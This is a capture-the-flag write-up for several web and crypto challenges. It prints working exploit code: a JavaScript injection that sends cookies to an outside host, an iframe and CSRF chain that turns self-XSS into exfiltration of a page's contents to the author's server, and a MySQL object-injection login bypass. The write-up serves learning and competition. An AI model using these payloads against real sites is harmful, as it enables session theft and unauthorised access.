It's recommended to read our responsive web version of this writeup.
First, spot the /source
in web source code. The backend is a nodejs server.
app.use(bodyParser.urlencoded({
extended: true
}));
// ...
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
// ...
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);
if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");
}
const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);
res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});
So example.com<foo>"bar"
will become const note = "example.com\x3Cfoo\x3E\"bar\"";
. The double quotes are encoded because of JSON.stringify
.
However, the escape_string
logic is weird, especially the slice
one. The slice is intended to prune "example.com"
to example.com
.
Since we have bodyParser
extended: true
, we can send an array into the request object. If we make the content an array, the behavior of slice function will become
["example.com"] -> "example.com"
That is, we can preserve the double quotes, and it leads to javascript injection. The final payload:
content[]=;document.location='http://example.com/?'+btoa(document.cookie);//
// CTF{Express_t0_Tr0ubl3s}
In this challenge, the admin has cookies in typeselfsub.web.ctfcompetition.com/
. The domain has a self-XSS requireing the user to see his/her profiles. That is, unless admin is logout and log in to our account, the XSS will not be triggered.
Addtionally, the XSS bot admin will browse pages in typeselfsub-support.web.ctfcompetition.com/
. The page has an easy XSS.
The question is: how to abuse self-XSS to steal the flag?
We can just keep the logged-in admin frame there, and then CSRF to login our account and execute XSS payload to steal the page content. This does not violate same-origin policy because the two frames still belong to the same domains.
So first, redirect the admin to a website that we controlled.
<img src=z onerror=document.location.href="https://bookgin.tw/"></img>
Next, we open three frames here:
- Admin's frame containg the flag
- logout admin's account
- login to our account and execute XSS
index.html:
<body>
<iframe width=500 height=800 id="i0"></iframe>
<iframe width=500 height=800 id="i1"></iframe>
<iframe src="login.html" width=500 height=800 id="i2"></iframe>
</body>
<script>
!async function() {
console.log("start!");
document.querySelector("#i0").src = "https://typeselfsub.web.ctfcompetition.com/flag";
await new Promise(r => setTimeout(r, 2000));
document.querySelector("#i1").src = "https://typeselfsub.web.ctfcompetition.com/logout";
await new Promise(r => setTimeout(r, 2000));
document.querySelector("#i2").contentDocument.querySelector("form").submit();
console.log("done");
}();
</script>
login.html:
<form method="POST" action="https://typeselfsub.web.ctfcompetition.com/login">
<input value="foobartw" type="text" id="username" name="username">
<input value="foobartw" type="password" id="password" name="password">
<input type="hidden" name="csrf" value="">
</form>
Finally, the profile page in frame 3 will execute XSS in typeselfsub.web.ctfcompetition.com/
domain.
<script>fetch('https://bookgin.tw/?'+btoa(parent.frames[0].document.getElementById('flag').innerText))</script>
where parent.frames[0]
is the frame containg admin's flag.
Flag: CTF{self-xss?-that-isn't-a-problem-right...}
For an unintended solution which leaks admin secret route URL via referer, please see this writeup by pop_eax.
From the source code app.js
, we can found the login
API
...
const u = req.body['username'];
const p = req.body['password'];
const con = DBCon(); // mysql.createConnection(...).connect()
const sql = 'Select * from users where username = ? and password = ?';
con.query(sql, [u, p], callbackFunction)
...
It parses username
and password
from body, and uses them as prepared SQL statement parameter without checking whether they are strings or converting them to string.
And since bodyParser
extended: true
, we can send an object to username
and password
By reading how nodejs mysql Escaping query values , we can see that it will convert object into format such as
`key1`=value1, `key2`=value2
For example
const mysql = require('mysql')
mysql.format('SELECT * from example WHERE id = ?', {'a':'b', 'c':'d'})
//SELECT * from example WHERE id = `a` = 'b', `c` = 'd'
Therefore, we can send username=Michelle&password[password]=1
to inject an object into the query, and the query will become
Select * from users where username = 'Michelle' and password = `password` = '1'
And then we can successfully log in to get the flag
Flag: CTF{a-premium-effort-deserves-a-premium-flag}
(In subtask 2, I've developed some techniques that reduce the query number down to 170. See the last part for those tricky optimizations.)
Subtask 1
- Encrypt one all zero plaintext for the base case
- Encrypt two different input differences for each blocks
- Recover all states except S1, S5 with those differences
- Recover S1, S5 from the ciphertext and states.
Subtask 2
- Leak 6 blocks of plaintext
- Same as subtask 1
Subtask 2 in a hard way
- Reduce the fetches of the base case by using per byte difference
- Reduce the size of additional checksum
- Model the probability of a factor guess with binomial and hypergeometric distribution
- Run best-first search to get lower bits
- Factor the public key using Coppersmith's method
- Collect some signatures until all secrets are revealed
- Hook on the code of sphincs+ to build the full hash tree
- Generate the signature with the hash tree
- Subtract the IV from the output
- Undo last 56 rounds
- Recover round constants from 8 to 1 by propagating the error the first round.